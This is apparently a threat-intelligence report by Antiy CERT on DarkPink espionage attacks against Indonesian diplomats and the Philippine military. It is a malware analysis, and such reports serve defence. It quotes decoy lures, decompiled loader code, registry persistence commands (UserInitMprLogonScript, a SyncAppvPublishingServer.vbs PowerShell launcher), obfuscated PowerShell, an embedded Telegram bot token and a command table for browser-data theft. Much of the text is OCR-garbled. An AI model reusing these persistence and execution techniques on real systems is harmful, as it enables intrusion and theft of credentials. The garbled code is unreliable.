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1 Overview

Antiy CERT has recently detected multiple attacks by the APT group DarkPink against the Indonesian
diplomatic department and the Philippine military department. The DarkPink (also known as saaiwc) organization
first became active in mid-2021, and its main targets are diplomatic, military and other departments and industries in

Cambodia, Indonesia, Malaysia, the Philippines, Vietnam, Bosnia and Herzegovina and other countries.

The initial samples of the attack activities discovered this time are all packaged ISO files. According to the attack
process, they can be divided into two categories: one is to use DLL side loading to release the malicious XML file
payload and achieve persistence by modifying the registry. The malicious DLL will also create a scheduled task to
log off the logged-in user regularly. When the Windows user logs in, it will start the malicious payload
KamiKakaBot!!lby calling MSBuild.exe (Microsoft Build Engine) to achieve remote control function; the other type
uses DLL side loading attack to carry out the initial attack. The malicious DLL decrypts the PE file and loads it in
memory for execution. The PE file in the memory will add the startup code to the registry to achieve persistence. The

startup code is used to decrypt and start the malicious payload TelePowerBot!!lto achieve remote control function.

2 Sample Analysis

2.1 Attacks Using KamiKakaBot

2.1.1 Bait Information

The attackers used a decoy document named "~MSTIP ROTCU Roster of Cadets and List of Training
Staff emb.doc" to disguise it as the cadet roster and training staff list of the Reserve Officers' Training Corps of the

Makati Institute of Science and Technology in the Philippines.
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Figure 2-1 Decoy documents disguised as the roster of cadets and list of training personnel of the Reserve Officers

Training Corps of the Makati Institute of Science and Technology in the Philippines

The attackers used a decoy document named "Availability of HPA Parade Ground.pdf" to pretend to be a

document from the Philippine National Capital Region Community Defense Group requesting the use of the HPA

Parade Ground.
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Figure 2-2Document disguised as a request from the Philippine Capital Region Community Defense Group to use
the HPA Parade Ground

The attackers used a decoy document named "~Concept Note Strategic Dialog Version 30.1.docx" to disguise

as a decoy related to the Indonesia-Germany strategic dialogue content.
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Concept Mote .,

Indonesian- German Strategic Dialogue ..

At their meetingin Bali in July 2022, Foreign Ministers Retno Marsudi and Annzlena
Beerbock sgreed to establish a new Strategic Dizlogue. This concept note setsout the terms
of reference for the Strategic Dislogue, jointly agreed by KEMLU and the Federsl Foreign
Office...

Background.,

Germany and Indonesia have agreed =2 Comprehensive Partnership asset outin the lakarta
Declaration of July 2012 and look back on successful diplomatic relations of more than 70
years. Dur relstionship isrooted in the friendships between our peoples and our historical
ties, and is based on 2 shared commitment to upholding the rules-based international order,
multilaterzalism, demaocracy, and human rights. Both countrieswish to continue enhancing
and expandingtheir cooperation, also building on synergies between Germany's Policy
Guidelines for the Indo-Pacific, and the ASEAM Outlook on the Indo-Pacific. .

Faced with increasing geopaolitical tensions, both in the Indo-Pacific and in Europe, and the
global climate crisis, we share the responsibility, as members ofthe G20, to promote
effective global governance in a multipolar waorld, to play 2n active role to jointy tackle
global challenges such as climate, food and energy security, 2nd to promaote sustzinable
development, respectforinternational law, including human rights and women's rights, and
the peaceful settlement of disputes..,

Objective .,

The Strategic Dizlogue will provide = regular platform to discuss at Foreign Ministers' lewel
globzal and regional izsues of mutus interest, and to explore and sgree joint initiatives in
bilaterd and multilateral fora. With an 2genda focussed on 2 limited number of key topics
mutuzlly agreed in advance, the Strategic Dialogue will be 2n opportunity to hold an in-
depth exchange, to enhance understanding of respective perspectives and interests, to align
pasitions and to coordinate action. .

Format..

We zim at convening the 3trategic Dizlogus once 2 yesar, in 2 1#4 format that will allow
confidentizal, free and open conversations. The Strategic Dislogue will not replace the annual
Bilateral Steering Committee [BSC). The Strategic Dialogue will give guidance to the BSC, and
task the BEC with specific follow-up. .

The first Strategic Dialogue will be held during the first halfof 2023 in Berlin..,
Tentative agenda items [to be agreed shead of each meeting):.,

* Policy approachestowards Russiz/Ukraine, Afghanistan, Iran, China.,
®* |ndonesian ASEAN presidency, including Myanmar.,
* German and EU approach for the Indo-Pacific and expectations of Indonesia towards

Germany and EU, .. Y "-‘ng
. Gluhalf::lu:lsezurit\,r,Energh,ran:ll:lima‘teseturit\,r,p::lssihlemulﬁla'terai"irg' H
including on women and children in armed conflicts. .,

Figure 2-3disguised as content related to the Indonesia-Germany strategic conversation

The attacker used a bait document named "009 -Visit of Norwegian senior diplomats to Jakarta 6-9 February.pdf"
to pretend to be the Royal Norwegian Embassy and send bait about diplomats visiting Jakarta. According to the
content of the bait document, it is speculated that the target of the attack is the Ministry of Foreign Affairs of the

Republic of Indonesia or related persons.
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0

ROYAL NORWEGIAN EMBASSY
T —

Jakarta

008023

The Royal Norwegian Embassy in Jakarta presents its compliments to the Ministry of Forcign
Affairs of the Republic of Indoncsia and has the honour 1o inform that a delegation of
Norwegisn diplomats from countries in the region is planning to visit Jakarta from 7 w0 9
February 2023 for an internal seminar on Norway ‘s cooperation with ASEAN,

Please find the delegation list below:

HLE. Ms. Hilde Solbakken, Ambassador of Norway to Vietnam and Laos

H.E, Mr. Morten Paulsen, Ambassador of Norway to Malaysia and Brunel Darussalam
HLE. Mr. Paul Gulleik Larsen, Charge d'affaires Norway to Myanmar

Ms. Thea Ottmann, Deputy Head of Mission, Embassy of Norway in Bangkok

Mr., Andreas Aure, Deputy Head of Mission, Embassy of Norway in Singspore

Mr. Geir Michalsen, Deputy Head of Mission, Embassy of Norway in Manila

Mr. Tom-Jorgen Martinussen, Deputy Head of Mission, Embassy of Norway in Kuala
Lumpur

8. Ms. Hanne Therese Tilrem, Senior Advisor, Norwegian Ministry of Foreign Affairy

B A s

~

In addition to the representatives from the embassies in the ASEAN region, following
colleagues from the Norwegian Embassy in Jakarts will participate in the program:

9. H.E Ms. Rut Kriger Giverin, Ambassador of Norway to Indonesia und Timor-Leste
10, ILE. Mr. Kjell Tormod Pettersen, Ambassador of Norway 10 ASEAN
11, Mr. Kristian Netland, Deputy Head of Mission, Embassy of Norway in Jakurta

2. Mr. Valentin Musangwa, Second Sccretary, Embassy of Norway in Jakara

Since the Sectoral Dislogue Partnership with ASEAN was established in 2016, we have on o
regular basis aranged a retreat in the country bolding the ASEAN chair. The purpose is o
strengthen our engagement with ASEAN and its member states by coordinating our efforts und
10 explore new possibilities for cooperation. In this regard, we are interested 1o learn more about

Indonesia’s priorities and challenges as ASEAN Chair and we would Iikﬁqg M
O EX

on how Norway as partner can contribute 1o the Chair's priorities. 2 asniy n

Figure 2-4A decoy document disguised as the Royal Norwegian Embassy was sent about a diplomat's visit to
Jakarta

The attacker used a bait document named "~Concept note - A Sustainable Forum - Building the Online Resources
of the EAMF 16 Dec 2022 _emb.doc" to disguise the sender as MA. THERESA P. LAZARO (Undersecretary of the
Department of Foreign Affairs of the Philippines for Bilateral Relations and ASEAN Affairs). The bait content was
related to the "Revised Concept Note on Australia's Proposal to Expand the ASEAN Maritime Forum". Based on its
content and recipients, it is speculated that the target of the attack is the leaders or related persons of the ASEAN

Executive Committee.
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Figure 2-6 Bait document on building research capacity of EAMF (Expanded ASEAN Maritime Forum)
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2.1.2  Attack Process

The DarkPink organization structures ISO images containing malicious code and decoy files, which are
delivered to target machines through spear phishing and other methods. Users are tricked into opening exe files
disguised as documents in the images, which load malicious modules in the form of DLL side-loading. After the
malicious module runs, it reads the data at the end of the decoy document, decrypts the XML format file, and
establishes a persistence mechanism. Every time the user logs in, it calls PowerShell to open the MSBuild.exe file to
execute the malicious XML file, decrypts the data stored in the XML file, and loads it into the memory for execution.
The decrypted data is KamiKakaBot!!), which is used to communicate with Telegram and implement functions such

as browser data theft and command execution.

WL T

@ e
a d11f#i4% #2winlogonffshell
—

~

MSHuild project KamiKakaBot

Figure 2-7Attack flow chart

2.1.3  Sample Label

Table 2-1 2contained in ISO

Virus name Trojan/Win64.Dllhijacker
Original file name MSVCR100.d11
MD5 c431ddc7ed614effd8e2ae816107de3 f

Processor architecture AMD AMD64

© Copyright by Antiy. Reprint without loss is welcome .Page 7
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File size 41.00 KB (41984 bytes)

File format Win64 DLL

Timestamp 2022-12-21 16:12:05 UTC

Digital signature None

Packer type None

Compiled language x64 Microsoft Visual C++v14.29 - 2019 - DLL
VT first upload time 2023-02-01 03:41:10 UTC

VT test results 41/69

2.1.4  Detailed Analysis

The organization uses DLL side-loading to load malicious modules to evade detection. The loaded malicious

modules are disguised as MSVCR 100.dll (a dynamic link library file of Visual Studio 2010) .

(EE] [ER] Bnexl [SA] [S4H] BER] ([Exw] [BE] [ret] LR GHE]

011 =R 0_Thunk TimeStamp FowardChain Namel Thunlk

KERWEL3Z. d11 00002408 00000000 00000000 000023F5  0000Z000
MSVCRI00. d11  000024ES S D0O0Z0ED

ThunkFOA  ThunkV¥alue Hint Func Hame

O00015ES 00002 TCA 00000390 _onexit

0oo015F0 00002704 000002F6  _leck

0oo01gFS  0000Z7OC 00000458 _urdock

00001900 0000ZFEG 00000100 ?terminate@@¥AXHT
00001308 O000ZFFA 00000146 _ ert_debugzer_hock
0ooo1910 00002810 00o001ve  _ set_app_type
00001918 00002822 0000021C  _fmode

00001920 0000282C a00001C4  _commode

00001928 00002835 0000017C  _ setusermatherr
00001930 00002540 000001C5  _confizthreadlocale

—

After the malicious module is loaded, it searches for files in the current directory that meet the following

Figure 2-8DLL side loading

conditions:
(D Contains hidden, read-only, and system attributes;
@ The file name contains ".doc" and " ~ ";

(3 The file name does not contain "$".
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if ( !GetCurrentDirectoryW(8x164u, Buffer) )
return;

v3l[@] = \ic4;

v3il[2] = @isd;

w32 = 7i6d;

sub_7FFFBE4343A88(v31, Bunk 7FFFB43483F4, @is4);

wesepy(Source, L™\\F.*¥");

memset(&source[5], @, @x1FEuigd);

wcscat_s(Buffer, @xl@duibd, Source);

FirstFileW = FindFirstFileW({Buffer, &FindFileData);

if { FirstFileW != (HANDLE)-1i64 }

1

w_oom
s

Iwcsstr({FindFileData.cFileName, L

while ( (FindFileData.dwFileAttributes & 7} =7
|
|
| wesstr(FindFileData.cFileName, L"$") )

|| 'wcsstr(FindFileData.cFileName, L".doc™)
I
I

1
if ( !'FindNextFileW(FirstFilel, &FindFileData) )
£\ 4

N A —
gﬂtﬂ LABEL_E']-J ‘\‘:"/" AN g

Figure 2-9Search for files to be decrypted

The malicious module reads data from the end of the decoy file and performs a hexadecimal XOR operation

with 0xCA until it encounters 0x00.

FileW = CreateFilewW(al, ex30ae0@08, @, 0if4, 3Su, Ox3Bu, BiG4);

w2 = Filel;
if { FileW != (HANDLE)-1ied }
i

lpFileName = GetFileSize(FileW, &FileSizeHigh});
v3 = {char *)malloc({lpFileName};
memset(&0verlapped, @, sizeof(Overlapped));
ReadFile(wv2, v3, lpFileName, @i6c4, &0verlapped});
CloseHandle(v2);

vd = 8;

if ( (int)}{lpFileName - 1} > 1lisd )

vS = Bv3[1lpFileName - 1];

do
1
if { !*v5 )
break;
*y5 = Pl Aw;
+Hvd
-, 5 1
e N\ ,-,’-—-
I\-r:.i/ NTIY n *

while { v& - v3 > 1 };
¥

Figure 2-10Read the file tail data and perform XOR operation

The malicious module writes the processed data to the wctl FDA.tmp file in the %temp% directory. The content

of the file is shown in the figure below.

© Copyright by Antiy. Reprint without loss is welcome .Page 9
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Figure 2-11Contents of the wct1FDA.tmp file
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After the file is generated, the decoy document is opened through the cmd command to pretend to be a normal

document opening operation.

if ( |Createfrocessii0ioe, 21, Bi6s, 0i64, B, UxBEOBO00u, 0i6e, 0i64, B5tertupinfn, &rocessinformation) )// omd Je
{
GetLastError();

A ( *(C_OwoRD *)8u30 + 1) < Buiss )
goto LABEL_62;

Figure 2-120pen the decoy document through cmd command

feax wirword. exe

zm.nﬁf

The malicious module creates new environment variables MS, TMPT, and PSS. The PowerShell code that is

subsequently set in the registry will use the values of the environment variables.

sub_TFFFR434328( (Vo ld " )vim, L"MS7, 2uisd);
NegOoentey Exi(MCEY _CURRENT USER, L Environment™, O, 0x20006u, &h1iry);

n . 4 1) >= Bui6s )

[013
| o S u..r.
if ( v05.m1281_164[1] >= mtu )
= yho{e;
RegSetvoluelavi(niey, 8, 0, 1u, (const OYTE *)u3/, 2 * v + 2)3// Ci\sindows \Microsoft. Y \Framevorksa\vd. 0. 36313\MS0uild, exe

sub_7FFFBA343A%0( (vold ')z, LTHPT®, 4ulss);
Reglparay Enii(HKEY_CURRENT USER, L"Environment”, @, @x20006u, &nrvy);
1% = (coost OYYE *)ipbata;

1281 _$64[1] = . Buise )

4 = viile];
RegServalueEwie(hs v., l«', 0, lu. W, 2% #2307 Crwsers \wix64\AppData\local\Tenpiwct1F0A, tep
sub_7FFFE4383A%( (o *)eES, LTPSSY, Juiss);

RegOpontayEsl(HKEY_ Cl.lﬂllﬂ‘T usen L Enviranment”, @, 8x20006u, RVvy);

—
v e e 1] \/.-...Q*

ﬂe,setulu—_‘.\..(v By, W7, @, lu, vib, 2 * vie2 + 2);// powershell

Figure 2-13Set environment variables
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The malicious module creates a scheduled task to infect the machine and force a logout at 13:15 every

Wednesday and Friday, forcing the user to log in again and execute PowerShell instructions.

=8 frs BEE
(© Health Check HERE SE 88, EFR A 1315 8,

£

M wEE BEF 2 828  HECREER

SEEET, WIEEIEENIEENEl. SEEREE, £ B S¢iTEEREE.

=E EHHREE
EiEE shutdown /I /f ( = E *

Figure 2-14Create a scheduled task

The malicious module sets the value of the registry SOFTWARE\Microsoft\Windows NT\CurrentVersion\

Winlogon\Shell to launch the malicious code when the Windows user logs on.

(HEEY_CURRENT_USER, word_77FFARDFBIGO, @, ex20e0s5u, 4 ) OF TWARE ‘\Microsoft \Mindows NT\Currentversion\Winlogon

memcpy ( ’ 0.8 " )
*( RO *)((char *) +
*(( ) ¢ +2)
*(( ) + ) =93

Dlek= S

Figure 2-15Login startup

PowerShell calls MSBuild.exe to load the XML file. First, the base64 data is decoded and each byte is xored
with decimal 248. After decryption, a modified version of KamiKakaBot!!l. Then, GetExportedTypes and

InvokeMember methods are used to match the PRLISNFR method in the program for execution.
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e, Invoreenner ("FRLLSRFR®, 51 g¥lage.l keHechod, =4ll, new cbject Ivezr, axid
-
€71V IAGHXEIVIILCRSD Az COFRGTROGLEr=0g ’ 2856223404 L QE E

Figure 2-16XML file

After KamiKakaBot!'it first collects the current device name, user name, and partial string, and then obtains the

API KEY and CHAT ID for communicating with Telegram.

Figure 2-170btain the content required for communication

The KamiKakaBot(!lsample contains a string decryption function. The decryption function uses the FNV
algorithm to hash the function name, then performs a shift operation and adds the value to the set value to obtain the

position of the string in the array, thereby obtaining the decrypted string.
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A2

mm = frmum

= num :
Lizt< » lizt
A 1 += num;

i i=10; 3¢
1

lizt. 4dd (<Moduler. DGFyc2iWemk=0KdhaZl=[& 1 + 713 ;

Encoding. LaetString (list. Tobrrs:

Figure 2-18String decryption function and compressed array

KamiKakaBot!'ltransmits data via Telegram.
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Figure 2-19 KamiKakaBot's function for returning data

KamiKakaBot['ldetermines whether the %LOCALAPPDATA %\desktop.ini.dat file exists. If it does not exist,
it creates the file and writes it to the file in the form of "a string of 15 bytes after the 15th byte in main. APIKEY" +
": 0", and sets the file to be hidden. If it exists, it reads the content before ":" in the file and compares it with the string
of 15 bytes after the 15th byte in main.APIKEY. If they are the same, it returns the content after ":". If they are
different, it modifies the file content and stores it in the form of "a string of 15 bytes after the 15th byte in

main. APIKEY" +": 0", and sets it to be hidden.

Figure 2-20Determine whether it is the first execution
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KamiKakaBot!'luses the return value of the requestMessageID function to determine whether the current
machine is infected with the current version of KamiKakaBot for the first time, and sends the information about
whether it is the first infection and the data of the Chrome, Edge, and Firefox browsers to Telegram, waiting for the

data to be sent back to the victim machine.

Figure 2-21 KamiKakaBot sends online package

KamiKakaBotl!Ireceives data sent back from Telegram and parses and judges the data to implement
corresponding functions. The following table shows the commands and corresponding functions in KamiKakaBot:

Table 2-2 Instructions and corresponding functions

Instructions Function

SHOWUP Return the current machine name and user name

GETBRWS Get Chrome, Edge, FireFox browser data

TOKENNEW Update the value of APIKEY and rewrite it to % LOCALAPPDATA%\ desktop.ini.dat
XMLNEW Update XML file or execute cmd command

2.2 Attacks Using TelePowerBot

2.2.1 Bait Information

The decoy document is named "20220410 Microsoft Security Update.pdf”. This document is a document
impersonating the Microsoft security update theme. From the content of the decoy document, it can be seen that this

attack activity is aimed at the military field of the Philippines.
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Figure 2-22Bait document disguised as a Microsoft security update tonf"\ !”" Q *

S ANy

2.2.2  Attack Process

The DarkPink organization constructs an ISO image containing malicious code and decoy files, and delivers it
to the target machine through spear phishing and other methods, inducing the user to open the exe file disguised as a
document in the image, and loads the malicious module in the form of DLL side loading. After the malicious module
runs, it reads the data at the end of the decoy document, decrypts the PE file and loads it into the memory for execution.
The memory PE file is responsible for opening the decoy document and adding the startup code to the registry to
achieve persistence. The startup code will be executed after each boot, decrypting the TelePowerBot ['lmalicious

payload to achieve information collection and command execution functions.
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Figure 2-23Attack Flowchart
2.2.3  Sample Label

Table 2-3 Malicious module MSVCR100.dll contained in ISO

Virus name Trojan/Win32.Agentb

Original file name MSVCR100.d11

MD5 8af65e22806766¢530dcc8420e60£29
Processor architecture AMD AMD64

File size 11.00 KB (11264 bytes)

File format Win32 DLL

Timestamp 2022-07-14 03:16:16 UTC

Digital signature None

Packer type None

Compiled language Microsoft Visual C++ v7.10-9.0 DLL (8B)
VT first upload time 2022-09-27 09:20:58 UTC

VT test results 41/69

2.2.4  Detailed Analysis

The attacker also uses DLL side loading to evade detection. The loaded malicious module will read data from

the end of the bait file and perform decryption operations.
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result = fopen(al, "rb™};
vd = result;
if ( result )

fseek(result, @, 2);
*a2 = ftell(va);
rewind(va)};

vll = *a2;

v5S = malloc(*a2 + 1);
vE = malloc (@x196@lu);
fread(v5s, wll, lu, v4};

fclose(wva);
memcpy (v6, &vS5[*a2 - 182486], 6x19006u);
vy = 83
vd = @;
do
1
do
{
#(vE + v7) “= byte_74DA3138[_ SPAIRG4_ (v, v7) ¥ strlen(byte_74DA3138)];
vd = OFADD_ (1i64, _ PAIR64 (vE, v7));
vie = w7 + 1;
VB = {_ PATIRG4 (vE, v7++) + 1) >> 32; P £ e *
) \ ol = 4
while ( v8 € 8 );
1
while ( (vB < 8) ~ v3 | (vB == @) && v1B < @x19680 );
free(vs);

return v6;

Figure 2-24Extract the encrypted data hidden at the end of the decoy document

The decrypted data is a PE file, which is loaded into memory and executed.

if ( tmpfname <= 1024 8& *(&v1->_ptr + tmpfname) == @x4556 )

vl9 = *(&v1[5]._ptr + tmpfname) != @ ? &v1[5] + tmpfname : @;

v22 = *(&v1[1]._charbuf + tmpfname);
LibraryA = LoadLibraryA("ntdll.d11");
vl7? = *(&1[1]._charbuf + tmpfname);

LODWORD(hModule) = LibraryA;
v5 = sub_74DAl428(a0);
ProcAddress = GetProcAddress(hModule, v5);
(ProcAddress)({-1, v17);
w7 = LoadLibraryA("kernel32.d11");
wl5 = *(&v1[2]._file + tmpfname);
v8 = w73
LODWORD(hModule) = v7;
vd = sub_74DA1426(aW);
vl® = GetProcAddress{vd, v9});
vil = (vie)(v22, vi5, 12288, 64);
if { wil
|| w1g
&& (vl = *(&v1[2]. file + tmpfname),
v12 = sub_74DA142@(aW),
v1l3 = GetProcAddress(hModule, v12},
(vil = (vi3)(@, viG, @x3e08, 64)) != @) )

v18 = *(&v1[2]._charbuf + tmpfname);
*(&v1[1]._charbuf + tmpfname) = vl1l;
memcpy (v11l, wvl, wl8);

vie = 8;

if ( *(&v1-> cnt + tmpfname + 2} )

vld = (Rvl[B]. flag + tmpfname);
do

memcpy (&vI1[*(vi4 - 2}], vl + *vi4, *(vli4 - 1});
vid += 18;
w28 ;

while ( v2@ ¢ *(&v1-> cnt + v21 + 2) );
tmpfname = v21;

i —~

sub_74DA1148( 1 1); ((})é E*

if ( vil = v32 ) o
sub_74DA1338(v1l, w11, v22, *(&1[2]._file + tmpfname));

(&v11[*(&v1[1]._base + tmpfname)}])({);:

ExitProcess(@);

Figure 2-25Load PE file in memory
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After being loaded into memory, the PE file first creates a mutex, then uses the cmd command to open a decoy

document to conceal malicious behavior.

if ( ICreateMutexA(®, @, "gwgXSznM-Jz92k33A-uRcCCksA-9XAU93FRS™) )
return 1;

5 = (CHAR *)calloc(@xFFu, 1u);

= (char *)calloc(@xFFu, 1u);

v7 = (CHAR *)calloc(@xFFu, 1lu);

GetModuleFileNameA(®, vS, @xFFu);

strncpy(vé, vs, strlen(vs) - 4);

sub_4@lele((int)v7, "omd fc \'RsS\"", ve);

memset(&5tartupInfo, @, sizeof({StartupInfo));

ProcessInformation = @ie4;

if ( CreateProcessA(@, v7, @, 8, @, @x3008080u, @, @, &StartupInfo, &P’g;essln‘:’Ta:i:nj )

J oo

(1 2 e EIE
CloseHandle(ProcessInformation.hProcess); N ---mg
CloseHandle(ProcessInformation.hThread);
if ( sub_4@1858() )
Sleep(@x3EBu);

return @;

Figure 2-26Create a mutex and open the decoy document

Modify the registry, set the environment variables required for subsequent script execution, and achieve
persistence by setting the UserInitMprLogonScript key value. Add file associations for files with the .abcd suffix, so
that they are linked to the startup code every time the system starts. The startup code mainly runs PowerShell code

through SyncAppvPublishingServer.vbs, XOR decrypts base64 -encoded data and executes it.
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if ( RegOpenKeyExA(HKEY_CURRENT_USER, "Environment”, @, @xF@@3Fu, &phkResult) )
return @;
if ( RegSetValueExA(
phkResult,
"UserInitMprLogonScript”,
e,
1u,
"C:\\Windows\\system32\\forfiles.exe /p c:\\windows\\system32 /m notepad.exe /c \"cmd.exe /c whoami >> Xappdatak”
"\\z.abcd && ¥appdata¥\\z.abcd && del Xappdata¥\\z.abcd && exit\"",
@xABu) )
{

return @;

1
if ( RegSetValueExA(phkResult, "GUID", @, lu, "5621584862:AAGGEWCTVFU7ADPNMT42PqwloKfTqMDOKKQ: 15828687068, @x3Bu) )
return @;
CloseHandle{phkResult);
if ( RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Classes", @, @xFB@3Fu, &phkResult) )
return @;
if ( RegCreatekeyExA(phkResult, “.abcd”, @, @, @, @xF@B3Fu, @, &hkey, @) )
return @;
if ( RegSetValueExA(hKey, (LPCSTR)byte_416A9C, @, 1lu, "abcdfile™, 9u) )
return 8;
if ( RegCreatekeyExA(phkResult, "abcdfile\\shell\\open\\command”, @, @, @, BxF@@3Fu, @, &2, @) )
return @;
if ( RegSetValueExA(
w2y
(LPCSTR)byte_416A9C,
8,
1u,
"cmd.exe /c SyncAppvPublishingServer.vbs \"n;sal abcd ($EnV:COMspEC[4, 26, 25]-jOiN'");[System.Text.Encoding]::U"
"TF8.GetString(([System.Convert]: :FromBase645tring((gp 'Registry::HKEY_CLASSES_ROOT\\abcdfile\\shell\\open\\comm"
"and' -Mame 'abcd').'abcd')|%¥¥% -Begin{$i=B} -Process{3_ = $_ -bxor $i¥%256;%i++;3_}))|abcd\"",
Bx134u) )
{

return @;

if ( RegSetValueExA(

w2y

"abcd”,

a,

1u, P }& ——
" cBRWLMLRQBooIShILiYsTkI4MDg2VHRbTSMVOTC/K14CCgBPBgwGlwhy Tnl8aHMHE koCTkBES@WLREEIQRE2EgZh Z'I'R_&Y}'lggﬁ;ﬂh kFD9™
"ONxo4ATer fXI1Zn57KVEKBhVYPRMRGSS 2RESVAWAKQQ4PRASMSEQB TwFTX1LmoaXg66uhgs/ G5KXPqqKo39y1v7P2+droy9 /0295554 x8Mb39u™
*/05uT178mKh4+QipKT1Mbgl5ChaY jG8vCd6+004e315u+TnbObiZDm7avhré jmgk3mpfvinfzeipgytcymigbBy8+to6llysLIn9bb@9TclszyY2"
"dzT3NmFr2B55mxkaGN6Uzs7VicodVoDcVoceXBrTCstRzATRTk2CAEECwZ eF 10 TGLdOHFAMDx IXFUCc TGRFSHxUdXksOcX@K ICFkbWVuZ TNENZES "

Figure 2-27Implement a persistence mechanism

This command is executed every time the system is started, and the base64 data is decoded and XOR-decrypted.

SET-LATEM (“VUa"ARL"«"ALTR:S""4A"4%1") ( (TYRE] ("0} L3)(3)(2)}" -F
‘sY", '3, 'c', "tEim,cOnVer'));
SICheq=(oypE] (®{03{3}{2}{2}{4}" -2 *10.','Cn.C", 'OM', "COMPDRESSI", *PReSSIONMODe") 7

SV ("K320Me"L®)  ((TYyPE] ("(0} {2} [1)"<F 'TEXT.EaC', 'DINg*,'a*) ) :

S SEE " SMO mel [JL]+S(FS " HOme) [J41+ "X )| CI"{IMIIFI0™ ~£°%', "N, 'ev-CBJec")
(C{SHIRI6FI3) 2V (AF (43 -L'DE", *yaTeM. 1c.52", 'a’,'E',"R*, 'a", 'ReaMR ') | (&("{Llj(0)R2)"-2'V
~0B5ec*, 'Ne', *c') (*L4)L1)(2H(0)(3}" -1
‘DefiATeSTrL*, 'pzE', 'SS1lon, ', 'An’, "10.col") ({10.MenoRYSCREAN) (geT-1Ten
(*Vo+"AXI"+"AD1E:S"+"4A"+"L") )."V ALue 11 ("{0}{l1){2}{3)"~
£'2rCulaneé’ , "das’ "R, 'InG' ) . Invake(

(P44 (0 TAO ML 0T (04T LA (O CLOF [ 430 (31 4203 L9) (303 (23427 ( 45123} 129 142
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» 'DAVEADICLINS2Y/ VATHOCOnp JFUROBALOWle T 142", 'TONCUALLEN1", *alvD10x1 0 /EQQELpTFQISG’ , 'AVTE
BEs4ELONyDSwBaNR*, ‘XeJDetld!, 'RLELPARIOI Tel IGASYSI THoea tgxzMNRp T1AXI P2 gx 0 SORCBRDS Kgovitigl
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Figure 2-28The decrypted content of base64 data

After the script is deobfuscated, the stored base64 data is decoded and decompressed, and the final executed

payload is TelePowerBot!!l. After the script is run, it will first determine the connection status with api.telegram.org,
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and then collect basic information about the victim and send it back to Telegram. After that, it will communicate with

Telegram every one minute , receive commands, and send the command results back to Telegram.

) Cperasingdyeces) .t

1 fmodel Sus ttype 1y *

Foame <13iks “all®|) |

o (e
CL.8X

Figure 2-29Contents of the malicious payload TelePowerBot

3 Association Analysis

Combined with the analysis of samples of previous attack activities of the DarkPink organization, the attack

process and attack components used are highly similar, but there are certain changes in the details.

The XML file in this attack has roughly the same content and functionality as the previous version, but after

decoding the subsequent payload data of base64, an additional XOR operation is performed.

© Copyright by Antiy. Reprint without loss is welcome . Page 21



ﬁ oty
o 5 * DarkPink’s Attacks on Indonesia's Foreign Ministry and the Philippines’ Military

Figure 3-1Differences in XML files (the left side is the XML file of the previous attack activity, and the right side is
the XML file of this attack activity)

NET payload has basically the same functionality, but compared to previous versions, it adds a string encryption

function to make analysis more difficult.

ackTrace. GetFrame (1). GetMethod ().

mum = (mum ~ {int)byte=z[i]) * 16TTTE1D;

Iam

= uam

Femb=0¥dhaZ0=[A_1 + 1) ;

Encoding. LretString (list. Tobrrs:

dule:

dules. ]
“Module’. oA T T=[2151]
“Modul f mlz=0K T=[2150]

Figure 3-2String encryption function in .NET payload

4  Threat Framework Mapping

The ATT&CK framework diagram of the behavioral technical points of the DarkPink organization's related

attack activities is as follows:
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This activity involves 16 technical points in 9 stages of the ATT&CK framework. The specific behaviors are

described in the following table:

ATT&CK
Specific Behavior Notes

Stages/Categories

Phishing Phishing attack to deliver ISO files to the victim's machine

Induce users to open the exe file in the ISO file that pretends to be a
Induce users to execute

document

. Modify the shell key value of the Winlogon registry to launch the

Boot or login with autostart . . .

malicious program every time the user logs in

Add startup code to the registry key HKCU\Environment\Userln
Boot or login initialization scripts ) ) )

itMprLogonScript to establish persistence

Modify the default association of files with the .abcd suffix, and
Event-triggered execution execute the specified command when opening a file with the .abcd

suffix

Deobfuscate and decode files or There is an encrypted string in KamiKakaBot, and the decryption is

information performed by the built-in decryption function

Execute process hijacking DLL Side loading

Counterfeit Construct a double extension file to impersonate a document
Execute using trusted

Construct malicious code execution through MSBuild
development tools

Steal Web Session Cookies Get Chrome, Edge, Firefox browser data

. ) . Get information such as operating system type, operating system
Discover system information .
version, computer product name, etc.

Discover system network Get the connection status with api.telegram.org and get the victim
configuration machine IP
Collect local system data Get the device name and current user name
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The collected browser data is  temporarily stored

Data Temporary Storage )
in %temp%\wdat{0}.dat

Use legitimate Web services Transmit commands via Telegram

Use Web service returns Collected data transmitted via Telegram

5 Summarize

DarkPink organization has been active since mid-2021, continuously carrying out attacks against Southeast Asia,
and the tools currently used are almost all self-developed tools. In the recently discovered attack activities, the
attackers released subsequent payloads and achieved persistence through DLL side loading, using the trusted
development tool MSBuild.exe or directly using encrypted PowerShell scripts to launch malicious payloads. So far,
it has been found that the communication between the infected host and the attackers is based on the Telegram APIL
There are two types of attack payloads in the recently discovered attack activities, the PowerShell payload
TelePowerBot!!land the .NET payload KamiKakaBot['l. Compared with the previous version, the KamiKaka Bot
discovered this time has basically the same functions, but a string encryption function has been added to hide some
features. From the above content, it can be seen that while the organization attacks according to its original attack
mode, it will also make adjustments to its self- developed tools to adapt to different attack targets and conduct more

covert and persistent espionage activities.

Appendix 1: References

[1] Group-IB: Dark Pink

https://www.group-ib.com/blog/dark-pink-apt/

Appendix 2: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.
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Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network
